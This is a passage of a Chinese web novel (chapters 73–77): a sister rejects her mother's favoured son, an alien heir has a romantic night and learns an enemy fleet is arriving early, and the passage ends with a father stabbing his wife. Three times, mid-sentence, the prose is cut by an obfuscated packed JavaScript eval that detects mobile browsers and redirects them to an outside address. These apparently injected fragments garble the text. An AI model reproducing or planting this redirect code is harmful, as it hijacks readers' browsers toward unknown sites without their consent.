杜蕊僵着脸不说话。 “你爸……杜为民,他恐怕已经疯了。”见杜蕊脸色不对,萧荣连忙更改了措辞,“他天天守在厂房外头,眼神看着疯疯癫癫的,特别吓人,昊轩差点被他掳走。这样下去太危险了,我想把昊轩放在你这里,白天你帮忙照顾一下,晚上我再来把他接走,行吗?” “不行,不方便。”杜蕊立刻拒绝。 “为什么?刚刚你开门的时候我看到了,茉茉也在里面对不对?”萧荣放低要求,“让昊轩和她挤一挤,她平时经常照顾弟弟,不会打扰到你和其他人的,下班我就把他接走……” “茉茉凭什么照顾他?”杜蕊拧眉打断她,“宿舍里住的都是女孩子,他这么大一个男孩进去肯定不方便,你去找别人吧。” “不会不方便的,昊轩这孩子最喜欢和大姐姐们玩,不会捣乱的。”萧荣不肯放弃,“你是他亲姐姐,他白天一个人待在厂房里多危险啊,你就舍得让他孤零零的?再说了……” 杜蕊麻木地听着萧荣的絮叨,视线下移到杜昊轩那张白胖的、被保护得极好的脸上,不由得想起了杜茉瘦得皮包骨头的手臂和自己从小到大吃过的苦头。同样是孩子,为什么待遇差别如此之大? 父亲混蛋她认了,因为她从未对父亲抱有期待,但萧荣不同……年少时,学校的老师说母爱是伟大的、无条件的,她看到了其他母女间的亲密互动,也曾期待过母亲的爱降临到自己身上,可为什么她的母亲只偏爱一种性别?女儿对她来说只是用来供养男孩的薪柴吗? 她感到无比失望,也无比疲惫。 杜蕊从不后悔来到江城基地救出妹妹,但来自这两夫妻持续不断的纠缠着实令她身心俱疲。 “好啊。”杜蕊对萧荣说:“你把他留在这里好了。” 萧荣面色一喜,连忙推了把杜昊轩的后背,“快,说谢谢姐姐,记得要听话。” 杜昊轩不情不愿地往前挪了两步。 还没等萧荣面上的笑容消退,杜蕊接着说:“但到了我手里就是我的东西了,我对自己的东西有处置权。你离开后,无论是辱骂殴打虐待还是直接丢出基地喂给怪物,你都没资格阻止。” 她面色冷凝,丝毫不像是在开玩笑,杜昊轩迟钝地理解了她话中的意思,悚然一惊,怕得不敢哭,包着泪退回了萧荣身后。 “你、你……”萧荣震惊地盯着她,不敢相信她能说出这样恐怖的话,“这是你亲弟弟!” “那又怎么样。”杜蕊僵着脸说,“我连杜为民都敢打,有胆子你就赌一把,赌输了我又没损失。” 74. 第 74 章 母子俩离开后,杜蕊一个人待在阴暗的楼梯后面,靠着墙滑坐在地上,盯着地面发呆。 她并不觉得难过,只是很疲惫,不想回去面对同伴们的关心,只想一个人静静地待着。 不知过了多久,她面前突然投下一片阴影。她抬起头,斑驳拖地的裙摆映入眼帘,头顶上响起黎望舒的声音,“蹲在这儿做什么?” “你怎么来了。”杜蕊扯出笑容,“走路也没声音,吓我一跳。” “毕竟我没有腿。你很久没回来,杜茉很担心。”黎望舒弯腰,朝她伸出手,“该吃早饭了,今天要不要休息一天?我们这个月的怪物肉已经缴够了,存粮也不少。” “没事,我可以的。”杜蕊握住她的手,借力站了起来,拍了拍裤子上的灰,又变回了平日里开朗的模样……可黎望舒总觉得她的笑容变得有些勉强。 他们在江城基地的生活逐渐步上了正轨——连霏和妞妞一起搬去了旁边的单人宿舍,杜蕊与妹妹仍和黎望舒一块儿住在四人宿舍里,戚依依时不时地前来串门,死缠烂打地要住在空出来的位置上,但黎望舒始终没松口;隔壁的两个男人不知进行了怎样的协商,最后交换了钥匙,闻风藻搬去郁仪分配到的单人宿舍,郁仪则独自留在黎望舒隔壁的四人间。 几个伙伴住得分散了些,但彼此之间的联系并没有减少,去基地外猎杀怪物时会相约组成小队,每次都收获颇丰,交上去的怪物尸体几乎堵住了任务处的小铁门。 方镇岳某次恰好经过,看见了他们超额提交的怪物肉,乐得连声称好,黎望舒还听到端着饭盒路过的人喜气洋洋地讨论,最近救济处的分发的救济餐分量大了不少。 原先带他们逛过基地的刘梅成功得到了养鸡场的工作,喜气洋洋地带着鸡蛋上门感谢。自那之后,黎望舒隔三岔五地就能收到刘梅送来的鸡蛋,推拒不成后,她只好按照市价,将等价的肉干塞回刘梅手中。 自末日降临后头一回,黎望舒过上了没有纷争、不必警惕、每天都能睡安稳觉的生活。将曲明德处理掉之后,再也没有人上门捣乱,平静的日子持续着,她的心却无法安稳下来——那位女皇的存在与不知何时会降临的战争宛如一颗重石,沉沉地压在她心上,每次闲下来时,她都忍不住去考虑这件事。 为了尽可能壮大己方的力量,她已经吩咐塞拉斯对这颗星球上所有的高级种发出召集令,将它们聚到一起,并计划由塞拉斯在所有人的脑中都种下可以随时引爆的精神印记,以防有人临阵倒戈。 战争是无可奈何的下下策,如果可以,她更想用和平的方式来实现自己的愿望,而这取决于她的母亲、那位女皇陛下的态度——在塞拉斯口中,女皇的实力深不可测,在血脉的压制下,从未有人试图去挑战她的统治,王储与女皇的对立更是前所未有,种种未知叠加在一起,哪怕是对她充满信心的塞拉斯也无法保证一定能赢。 若是到了最后也没能与母亲和解,又在战争中落败,等待她的结局很可能是同这颗星球一起葬身于火海……即便是王储,对于女皇来说应该也不是不可替代的,毕竟她还有一个亲妹妹一直待在女皇身边。 眼下只能走一步看一步了。 这天晚上,黎望舒照常熄灯闭眼,可一直等到旁边杜蕊的呼吸声变得均匀,她也没生出一丝困意。 她白天战斗时遇到了一个大家伙,久违地放开了手脚,肌肉中还残留着一点兴奋感,也许是因为这个才迟迟睡不着。 她不想干躺着,干脆轻手轻脚地起身,草草披了件衣服推门出去,倚在走廊的栏杆边上吹夜风。 已经到了春天,白天的气温有所升高,但夜风依旧凉爽。她微微仰头,任由思绪四散飘飞,突然听到旁边“咔”的一声轻响——隔壁的房门被打开,一个黑毛脑袋探了出来。 “睡不着?”郁仪看起来像是刚从床上爬起来,只穿着一件单衣,长发缎子似的散在肩上,轻声问她。 “耳朵真灵,我都把动作放得那么轻了。”黎望舒笑着说,“你一直听着我这边的动静?” 郁仪窘迫地摇头,反手轻轻关上门,无言地走到栏杆边上,靠在她身边。 “多穿点,小心着凉。”黎望舒提醒。 “没事,我不经常生病。”郁仪抬眼看她,“你在想什么?” “什么也没想。”黎望舒回答,“只是在发呆。” “你最近好像有心事,总是心不在焉的。”郁仪问,“是在担心女皇的事?” 黎望舒点头:“是啊——虽说担心也没用。我只能做好力所能及的事,剩下的只有耐心等待。” 郁仪沉默了。 他悄悄抬眼去看黎望舒的侧脸,想起了从前的种种遗憾,鼓起勇气试探她:“你不是这个星球的原住民……你的家乡在遥远的外星。” “是这样,但我已经不记得家乡的事了。”黎望舒说,“你想说什么?” “如果你的计划失败了,我们会死在一起,就像上辈子那样。”郁仪低下头不敢看她,发丝从绷紧的肩膀滑落,垂在白皙颈侧,“但如果成功了,你会回到家乡去吗?” “……我不确定。”黎望舒随手捞起他的发丝,“你害怕与我分别?” 郁仪轻轻“嗯”了一声,垂着头想了想,又说:“我在这里已经没有牵挂了,如果你要离开,能不能带我一起走?” “你还不知道我的家乡是什么样的呢。”黎望舒笑了,“万一那里没有氧气怎么办?” “就算我在那里无法生存,也带我去吧。” 郁仪仰头,黑眸湿漉漉地注视着她,里面带着祈求的意味,话语更是直白浓烈得惊人,“我没办法在没有你的世界里存活下去……你是我的全部,是我活下去的意义,无论生死,我都想待在你的身边。” 黎望舒惊讶地看着他,“我从没想过能从你口中听到这么直白的话……这不像你。” “……我很害怕。”郁仪耳根通红,避开了她的视线,“明天与意外不知道哪一个会先到来,如果不抓紧时间,也许我会永远错过说出这句话的机会。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15079183|158285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他还想说什么,但突然皱起了脸,捂着鼻子吸气,半晌,打了个小小的喷嚏。 他打喷嚏的样子很可爱,黎望舒的胸口涌上一股柔软的情绪。她牵起郁仪的手去摸他手心的温度,又忍不住捏了捏他指腹的薄茧与精致的骨节,催促道:“都说了小心着凉。手这么冷,你该回去了。” “你的手比我更冰。”没从黎望舒口中得到准确的回答,郁仪不愿意就这样结束。 “我和你不一样,再冷也不会感冒。”黎望舒将他从栏杆上扒拉下来,往房间的方向推了一把,“回去盖好被子暖和暖和,生病的滋味可不好受。” 郁仪不情愿地挪了两步,手刚触上门把,又僵硬地回过头来。他漂亮的瞳孔中带着迟疑,满面通红地对黎望舒说:“你困了吗?还想再聊一会儿的话……不、不如来我的房间里坐坐?” 黎望舒:“……” 这家伙怎么结巴起来了。 “……还是算了吧,我、我开玩笑的。” 没有第一时间得到回应,郁仪立刻想把头缩回壳里,语速极快地道了句晚安就要关门,但黎望舒却用力扣住房门,微笑着挤了进来。 “反悔可不是好习惯。”她捉住了他的手腕,声音带着温柔的气息在他耳边响起,带起一阵颤栗。 …… “唔……” 房间里没有开灯,暧昧的水声在耳边扩散。黑暗之中,颊边温热的触感格外清晰——那是黎望舒的手指。 她捧着他的脸,自上而下地压下来,滚烫的气息轻轻吐在他的脸上,将他的皮肤也染上了燥热,她急促的呼吸与他的交缠在一起,手指不轻不重地揉捏着他的双颊,拇指不时下移,重重地按过颈动脉,为他带来缺氧似的眩晕错觉。 ……也许并不是错觉,但他已经无暇顾及,全部的注意力都集中在了她柔软的、贴在他唇角的唇瓣上。 又吮了一下他的唇,她稍稍拉开了一点距离,琥珀色瞳孔在黑暗中微微发亮,欣赏了一会儿他迷蒙的表情,轻笑一声,又灼热地贴了上来。 她用虎牙咬他的下唇,又在他吃痛的时候收回牙齿,对待珍宝似的将他微微凹陷的伤口舔舐得一片湿漉。她在他的唇上不停地厮磨、□□、轻咬,他的双唇被吮得发麻,疼痛中又带着丝丝说不清道不明的酥痒……郁仪睁开双眼望着头顶的床板,止不住地喘着气,大脑一片混沌,不知道事情是如何发展到这一步的。 他们一同进了房间,并排坐在床边说些有的没的,不知谈到了什么话题,黎望舒突然乐不可支地笑个不停,他无法理解对方的笑点,但看到她那么开心,自己也忍不住翘起了唇角……再然后,黎望舒突然站起身来,笑着低头捧住他的脸,将唇贴了上来……他没有反抗,下意识做出了回应、将这个本来浮于表面的吻加深了…… 然后便是一发不可收拾。 唇上忽然传来刺痛,郁仪抽了口气,回过神来,见黎望舒叼着他的下唇,惩戒性地加大了力气,略带不满地俯视着他,“不专心。” 75. 第 75 章 “对不起,我……唔……” 郁仪试图解释,但黎望舒显然缺乏耐心,再度欺身而上,他余下的话被对方尽数吞入口中,化作几声含混的轻哼。 黎望舒像个得到了新玩具的孩子,对这件事充满热情与好奇,先是勾着他柔软的舌尖翻搅,又细致地将他温热的口腔内部探索了个遍。 啧啧的粘.腻水声环绕在耳边,鼻端是她身上清淡的肥皂清香,她的动作温柔又暗含攻击性,相贴的地方潮闷的热意发散,郁仪被她吻得小腹发紧发烫,不可抑制地动了情。 郁仪的睡衣很松散,又在纠缠中变得凌乱……突然,二人的动作不约而同地顿住。 黎望舒的唇齿缓缓撤开,贴心地一点点吻去了他唇角牵扯出的暧.昧银丝。她低头看了一眼,抬眼对上郁仪微微泛红的水润黑眸,意味不明地哼笑了一声。 “……可以吗?” 郁仪大脑一片混沌,下意识张口请求,抬手覆上她仍放在自己颈侧的手——与自己滚烫的体温不同,即便是在这种时候,她的皮肤也没有升温,摸起来凉凉的很舒服。 “什么?”黎望舒明知故问,“你想要什么?” “我很难受……”郁仪被她问得迷茫,又不知该怎么表达,喘息着将她的手抓得更紧了。 贪恋她手臂上的凉意,他将滚烫的脸颊贴了上去,五指顺着她的小臂向上摸索,微微用了些力,将她往自己怀里拉,黎望舒也没有抵抗,顺着他的力道滚在被褥上。 郁仪窘迫地撑起身子,他的黑发顺着肩侧的布料滑落,垂在黎望舒的颊边,又被她漫不经心地绕在指间;她琥珀色的瞳孔在黑暗中闪着浅淡的光,即便只是无言地注视过来也带着一股别样的吸引力,郁仪像是被蛊惑了似的弯下腰,虔诚地覆上了她的唇瓣。 “……你有点碍事。”一吻过后,黎望舒冷静地点评。 “对不起……我控制不住。”郁仪气息不稳,黏黏糊糊地又贴近了一些,不由自主地开口:“我能不能……” “不能。”黎望舒打断他,“亲吻对我来说已经足够了。” “那我怎么办?”郁仪问得委屈又茫然,“我好难受。” 他出了些汗,几缕湿黑的发丝被汗水沾湿,黏答答地贴在脸侧,肩颈的肌肉绷得很紧,曲线流畅,宛如一张被拉到极限的弓,显然已经忍耐得濒临极点。 “……如果你实在受不了的话。”沉默片刻,黎望舒缓缓开口:“也许我可以用另一种方式帮你。” 她话音刚落,冰冷的软滑物体就顺着郁仪的小腿自下而上地卷了上来。他背部肌肉瞬间绷紧了,喉中抑制不住地发出含混的声音,死命撑着两条紧绷的手臂,没让自己软倒下去。 ………… 晨光从窗帘外洒进来,黎望舒在生物钟的催促下醒来,刚掀开眼皮就对上了郁仪专注的目光。 郁仪已经穿戴整齐,坐在对面的床沿上,长发高高地束在脑后。见她睁开双眼,他掩耳盗铃似的飞快错开视线,对着空气迟疑几秒后,又忍不住转了回来,接着目不转睛地盯着她看,耳根以肉眼可见的速度泛起红色。 “早上好。”黎望舒打着哈欠掀开被子。 “……早。”似乎没想到她的反应如此平淡,郁仪愣了一下才回答。他看着黎望舒整理身上的睡衣,手指焦躁不安地在膝上攥起,终于忍无可忍地站了起来,问她:“吃早餐吗?我去给你做。” 宿舍内条件有限,得到肯定的答复后,他立刻烧开热水,为黎望舒泡了碗热气腾腾的海鲜味泡面。 三下五除二地解决了泡面,黎望舒披上外套,语气平稳,“我回隔壁换身衣服。” “……哦。” 郁仪望着她开门出去,默默收回了她留下的泡面碗,端到洗脸台边清洗。 她的反应一如往常,对此他心情复杂,说不上来是高兴还是失落……毕竟连他也说不清楚,自己究竟期待着对方怎样的反应。 黎望舒推门出去,目光下意识往旁边一扫,发现塞拉斯居然就站在门边不远处——破天荒地,他脸上没有笑容,表情甚至可以说得上凝重,黎望舒从未在他脸上见过如此严肃的表情。 “出什么事了?”黎望舒问。 “殿下,我们需要抓紧时间了。”塞拉斯眉骨下压,“我接到了来自主力军星舰群的消息……他们已经近在咫尺,预计还有一个月就能突破大气层,降临到地表。” “什么?!”黎望舒忍不住吸了口气,“怎么会这么快?这和原计划中的时间一样吗?” “原计划中,主星舰群抵达地球至少还需要花费两年时间,但他们却将两年缩到了一个月……能将航行时间缩到这种地步,主星舰群一定耗费了难以想象的庞大资源。”危急关头,塞拉斯不再执着于保守秘密,沉声对黎望舒说:“这是极为异常的状况,那边的接线员并没有将具体缘由告知我,只说这是女皇陛下突然下达的命令。殿下,女皇陛下很有可能已经察觉到了这颗星球上的异动,您确定要继续一意孤行?” “全知全能……”想起了怪物们对女皇的评价,黎望舒费解地拧起眉毛,“假设真的是这样,她到底是从什么渠道得到的消息?作为行动总指挥,对手下人发出召集令是非常正当的行为,我们也还没有将具体计划透露给接受召集令的高级种……” “也许是因为您消极的态度?”塞拉斯提醒,“您无法使用精神力,迄今为止的所有命令都是通过我下达的,主星舰群的接线员原本联络的是您,但投射过来的精神力无人应答,这才退而求其次找上了我。这是前所未有的情况,我能感受到对方的急切与疑虑……女皇陛下有可能以为我想要暗害您夺权,这才心急如焚。” “她不信任你?”黎望舒挑眉。 “女皇陛下只信任自己的血亲,毕竟王族没有读心能力,任何对外人的信任最后都有可能化作刺向自己的尖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15083589|158285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刀。”塞拉斯说,“就算是最受信赖的首席骑士长,以前也有过叛变的先例——当然,我不会步上那位的后尘,我永远是您忠实的仆从。” “唔,不排除这种可能。我们身边也可能存在女皇的眼线,不能掉以轻心。”黎望舒走到栏杆边上,朝下望去——戚依依正一蹦一跳地朝这边跑过来,脑后的两个小辫子欢快地跳动着。 看到了二楼的黎望舒,她高兴地蹦了起来,一边挥手一边大喊“小黎姐姐”。 戚依依飞快地爬上楼,脚步逐渐慢了下来,被她冷凝的视线盯得有些发怯,“小黎姐姐,为什么这样看着我?” 黎望舒伸手按住了戚依依的圆脑袋,偏头问塞拉斯:“你觉得她有嫌疑吗?” 塞拉斯纡尊降贵地低头看了眼戚依依——她也呆呆地抬头望过来,脸上满是茫然——他嫌弃地收回目光,“虽然我很想说‘是’,但以她的资质,恐怕担不起这样的职责。” “什么嫌疑?”不知道这两位大人在打什么哑谜,戚依依心里七上八下的,不安极了,“什么职责?我什么都没干啊。” “说得也是。”黎望舒怜悯地拍了拍她的脑袋顶,“没你的事了,一边玩儿去吧。” 戚依依“哦”了一声,放心地松了口气,又回到了先前没心没肺的样子,回身开门去宿舍里找杜茉玩了。 “……总之,我们的确要抓紧了。”黎望舒低头思索,“精神印记要快点种下,王储的号召力不如女皇,手下这些人很有可能临阵倒戈,还有……” “按照流程,我们需要在女皇陛下降临之前到达指定的降落地点进行迎接,您可以在那里与女皇陛下和谈。”塞拉斯补充,“那地方不算太远,但我们只有一个月,最好尽快出发。” 黎望舒沉默一瞬,点头道:“我明白了。” 突然,她肩上一重,身上多了一件考究的沉重外套——塞拉斯脱了外衣,露出了底下剪裁精致的淡青色马甲,为她披上外套后,他又转过来慢条斯理地拢她的领口。 “我一时着急,竟然没注意到您衣衫不整,没能及时为您整理好衣着,真是失职,请您谅解。”他目光停留在黎望舒锁骨边的浅红牙印上,后槽牙磨了一瞬,又若无其事般松开了。 “我正要回去换衣服。”黎望舒说,“你这是多此一举。” “不能这样说。”塞拉斯低头,微笑着为她整理领口——不知为什么,今天他的脸凑得格外近,黎望舒甚至能看清他的睫毛,“王族需要时刻保持威严仪态,您想不起来没关系,我正是为此而存在的。” 他将那道碍眼的牙印掩在衣料之下,忽然鼻尖微动,湖绿色眼珠中暗潮涌动,直勾勾地盯着面前的主人,睫毛几乎要擦到她的额头,“您身上……有股神奇的味道。” “估计刚刚沾上泡面味儿了吧。”黎望舒忍无可忍地推开他的脸,将外套解下丢还给他,“饿了就去找饭吃,别见人就闻,注意素质。” 76. 第 76 章 “我跟你走。” 在黎望舒表明自己即将离开江城基地后,闻风藻毫不犹豫地脱口而出。 “……江城基地对我来说很陌生,再好我也对它没有归属感。” 下意识避开了郁仪的目光,闻风藻沉默一瞬后,不知解释给谁听,“待在同一个地方太久会腻,我想去更多的地方看一看……只要黎姐不嫌弃。” “当然可以。”黎望舒说。 “我想留下。” 连霏嗓音温和,但语气坚定,似乎早就想到了会面对这样的局面,她看向黎望舒说:“能看到你活得好好的,我已经非常满足了,江城是我的家,我喜欢这里。与你相遇的经历对我来说非常宝贵,激励我度过了许多艰难的日子。你很强,强到无需我来担忧,你前行的路上少一个我也不会有什么差别,但在你身边,我总会不断滋生出惰性与依赖……感谢你这一路的照顾和为我带来的一切,到了该说再见的时候了。” 说到最后,她眼眶微红,强忍泪水,朝黎望舒展露微笑:“祝你幸福,希望我们还有再见的机会。” 黎望舒点头,轻轻环住了她颤抖的肩膀,妞妞听懂了主人的意思,也呜呜叫着不舍地蹭了上来。 “殿……小黎姐姐去哪里,我就去哪里。”戚依依青蛙似的鼓着脸说,“哪怕对手是女皇陛下,我也不会退缩的!” “就算你想留下,我也不会答应。”黎望舒按住她的脑袋揉了揉,笑着说,“我去和你舅舅交涉,让他安心放人。” 杜蕊盯着地板,始终没说话。听着那边或煽情或嬉闹的说笑声,她双手交握,感到喉头发堵。 注意到了姐姐的沉默,杜茉担忧地扯了扯她的衣角。杜蕊回过神来,低头握住妹妹的手,咬牙下定决心。 “望舒,抱歉……但我也想留下。”杜蕊握紧了妹妹的手,鼓起勇气对黎望舒开口。 对上好友惊愕的目光,杜蕊心尖一颤,努力让自己的声音保持平稳,横着心接着说:“我想让茉茉留在基地里,过得安稳些。她吃过的苦头够多了,我不想让她去过那种颠沛流离、幕天席地的生活。” “……如果这是你的选择,我不会干涉。”黎望舒沉默许久,还是忍不住问:“但你要怎么生活下去?我了解过基地内的物价,如果只在基地里工作,你可以养活自己与妹妹,但几乎存不下来什么东西。如果去基地外与怪物战斗,你没有特殊能力,必须承担受伤甚至死亡的风险,万一生了病怎么办?那两夫妻还在基地里,如果他们再来找你的麻烦……” “哎呀,你从前可不是话多的人。” 她的关心真挚又热烈,杜蕊鼻子发酸,不敢再听下去,挤出笑容打断了她:“你说的这些我都知道,但没有办法……人活在世上,不可能一点风险也不担,遇到困难总会有办法解决的。我不想一直做你身边的米虫,我和你一样是个成年人,哪怕方式很狼狈,也可以独自生活下去。” “别太担心,基地里还有我呢。”连霏说,“我会关照小蕊的。” 杜蕊似乎主意已定,黎望舒无可奈何,只好沉默地点头。 她没想到杜蕊会选择留下。她们二人从异变降临时……不,从更早的时候就理所当然似的待在一起了,杜蕊对她来说,比起朋友更像家人。 她不放心将杜蕊独自留在这里,但又找不到理由去劝说她——尽管她可以把所有人保护好,但对小孩子来说,漫长的旅途的确很难熬。 ………… 傍晚时分,宿舍里只有杜蕊姐妹二人。 出发时间很紧,黎望舒一整天都在匆忙地四处奔波打点,一小时前短暂地回来了一趟,又立刻和戚依依一起去找方镇岳说明情况了。 谁也没有说话,宿舍中只有咕嘟咕嘟的电水壶声。杜茉将烧好的热水倒进杯子里,小心地观察姐姐的表情,“姐姐,喝热水。” “谢谢。”杜蕊接过妹妹递来的水杯,手指在杯壁上摩挲。感受着从玻璃水杯上传来的暖热气息,她自嘲一笑,“等望舒离开,我们就要搬出这里了,到时候没水没电,说不定还要去住大通铺,一切从零开始……对不起啊茉茉,我很没用吧。” “没关系的,我原先就住在那里,只要能和姐姐在一起,我就不觉得有什么不好。”杜茉端着小杯子坐在她身边,顿了顿,接着说:“姐姐,我不在乎生活条件,如果你想跟着小黎姐姐走就跟上去好了,不要因为我勉强留下来。” “……并不只是因为你。”杜蕊垂头丧气,“是我一直依赖着她,给她添了太多麻烦,特别是来到江城基地之后。” “是爸妈的事?”杜茉问。 “是啊。”杜蕊点头,“每一次他们不顾脸面地在光天化日之下闹腾,我都觉得自己的伤口正在被血淋淋地撕开给所有人看……他们活不下去的时候一定会再来找我。” “这样的话不是更应该离开吗?”杜茉不解,“离开基地就能摆脱他们了,他们不敢追上来的。” “那样只是在依赖她而已,我总该学会自己解决问题。”杜蕊摇头,“我就像只寄生虫,一直贴在她的身边,享受着她挣来的好处,却无法为她带来任何东西……这样太卑劣了。我很软弱,只要她在身边,我总会觉得身后有人兜底从而安下心来。” “但我觉得,小黎姐姐不是这样想的。”杜茉想了想,“听到你说要留下时,她看起来真的很难过。” 杜蕊叹了口气:“那是因为她是个好人。她总是毫无保留地为其他人付出,自己却从来不求回报。” “但……朋友之间不都是这样吗?”杜茉有些困惑,“依依也是这样,她从来不嫌弃我什么都没有,我们只要能在一起玩就很高兴。” “为朋友付出是令人高兴的事,姐姐,不要被自己的想法束缚住了。你会感到不舒服,只是因为你没办法回报小黎姐姐。”杜茉不忍心看姐姐一直闷闷不乐,努力开导她,“但小黎姐姐好像不那么在乎你的回报,说不定只要和你在一起,她就很开心了。” 杜蕊被惊得说不出话来。 她自认是个心智健全的成年人,可思维被种种因素裹挟,看问题居然还不如一个孩子通透,杜茉这番话让她受到了一些启发。 “我明白了。”她闷闷地说,“我会再想一想的。” ………… “这孩子今后就拜托您了……她很亲近您,以她的能耐,应该不会遇到什么危险,但务必不要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15089644|158285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让她走上歧途。” “放心,我会照顾好她。” 被方镇岳客气地送到了门口,黎望舒友好地与他握手告别,又笑着朝在他背后探头探脑的戚依依挥了挥手,转身走入昏暗的街道。 与方镇岳的交涉出乎意料地顺利。 黎望舒几乎没费什么口舌,带着戚依依说出来意、又让她展示了一番自己的能耐后,轻易地得到了方镇岳的首肯——他果然早就察觉到了戚依依的能力,只是没想到自己的小侄女居然强到这种地步。 她可以悄无声息地带走戚依依,但作为她曾经的同伴,留在基地的连霏与杜蕊势必会遭到为难。更重要的是,方镇岳是个优秀的领导人,也是个真心为了侄女着想的好舅舅,她不想让方镇岳为了侄女而忧心。 能够自由行动的高级种们在召集下陆陆续续地赶来,聚在基地外不远处,塞拉斯正忙碌地一个个为他们种下精神印记,效率很高,预计明早可以全部种完;郁仪与闻风藻在清点分配从前攒下的物资,将要带走的东西一点点打包上车,黎望舒来之前去看了一眼,也快要收拾完了……准备都已经做好,明天就能出发。 月亮被掩在乌云之后,月光稀疏地洒在地表,她独自走在漆黑的路上,垂眸思考还有什么没来得及做的事情。 忽然,她想到了什么,脚步一转,朝另一个方向走去。 ………… “妈妈……好困,你抱我走吧。” 杜昊轩揉着眼睛,打了个大大的哈欠,迷迷糊糊地被萧荣拽着走。 “妈妈抱着你走不快,我们不能再外面停留太久,不安全。”萧荣停下脚步,蹲下来搓了搓儿子的脸,鼓励道:“再坚持一下,马上就能睡了。” “但我好困,又好累!”杜昊轩发脾气,甩开萧荣的手,大声冲她吼:“让我留在厂房里不就好了,为什么非要我也出来,下次别带我出来!” 满身的苦累不被理解,萧荣身心俱疲。她强忍下扇儿子巴掌的冲动,默默告诫自己不能对孩子动手,忍着气将沉甸甸的儿子抱起,只觉得腰椎一阵一阵地发痛。 ……杜蕊不愿接纳他们母子俩,萧荣不敢用儿子的性命做赌,只好又灰溜溜地回到了厂房中。那天夜里,杜为民趁着警卫打盹的时候偷偷溜进了厂房,要不是萧荣及时惊醒,杜昊轩已经被那个混蛋带走了! 自那之后,她犹如一只惊弓之鸟,不敢再将儿子独自留在厂房里,时时刻刻都要让他处在自己的视野范围内,处处小心谨慎,生怕杜为民抢走了她的宝贝。 杜昊轩趴在她的肩上,搂住她的脖子睡得正香,小小的呼吸洒在萧荣的脖子上,她瞬间消了气,爱怜地抚过儿子的脸蛋。 这样担惊受怕的日子不知道还要过多久。与其日日受折磨,不如先下手为强,找机会把杜为民引到基地外面,再…… 被自己的想法吓得打了个冷战,萧荣猛地回过神来,甩了甩脑袋。 自己一辈子遵纪守法,哪怕是到了这种时候也不能杀人啊!还是想想更实际的方法吧,比如找基地的大领导说说情,将杜为民赶出基地,或是干脆找个新男人…… 她沉浸在思考中,没注意到身后悄悄逼近的黑影。 77. 第 77 章 “噗嗤。” 利刃划破厚实衣料,深深地刺入血肉,剧痛从后背一瞬间蔓延开来。 迟钝地意识到自己身上发生了什么事,萧荣下意识抱紧了怀中的孩子,恐惧之下,犹如一只被掐住脖子的公鸡,她大脑一片空白,喉咙艰涩,连一句痛呼都发不出来。 一只手从背后伸过来,狠狠地勒住了她的脖子,她被勒得眼前发黑,那只手又捂住了她的嘴巴;后背的刀刃被拔出,很快地又没入了她的身体,鲜血喷涌不止,将后背的衣服染得一片濡湿。 “唔——!!” 她终于找回了自己的嗓音,但为时已晚——背后那人紧紧捂着她的嘴,封住了她喉中的哀叫,手起刀落,又在她背后开了个新口子。 疼痛猛烈地袭来,搅得脑袋阵阵眩晕,鲜血大量流失,她逐渐感到身体发冷,四肢脱力,没了喊叫的能力。背后的人松开手,她身上的束缚被解开,咕咚一声侧身倒在地上,但双臂不知哪来的力气,依旧紧紧搂着怀中的孩子。 “啊!”随着萧荣倒下,杜昊轩的脑袋重重地磕在路面上。他摸到了自己头顶的大包,刚要张嘴发脾气,抬头却对上了母亲无神的瞳孔,“……妈妈?你怎么了?” 萧荣动了动嘴唇,没力气回答。 “死女人,敢把我抛下,害得我什么工作也找不到,只能去偷去抢!这就是你的报应!” 黑影骂骂咧咧地绕到萧荣面前,伸手去拉杜昊轩,但萧荣抱得太紧,杜昊轩又不配合地一直挣扎,黑影反而将自己拉得趔趄了几步,气急败坏地用力给了杜昊轩一下:“*的,你是不是老子的儿子!想和这个不要脸的女人待在一起?我连你一块儿砍死!” 萧荣视野已经一片漆黑,勉强听出了这是杜为民的声音。 她已无力反抗,用尽最后的力气抬起手,在儿子背后推了一把。为了保住儿子的性命,她强压悲伤,颤抖着嘴唇,断断续续地对杜昊轩说:“你……你不要反抗,他是……他是你爸……” “妈!” 杜昊轩终于看清了杜为民手中被血染红的尖刀,他慌张地撑起身体,在萧荣背后一摸,果然摸到了一手温热粘稠的液体,举到鼻子边上时还泛着铁锈般的腥气。 他吓得大哭起来,“妈妈……妈妈,你不要死!” “孩子……他爹。”萧荣摸索着看向面前那团黑影,眼角滑下泪水,用气声一字一顿地哀求:“虎……虎毒不食子,你让他……活下去吧!” 杜为民没有理会她。 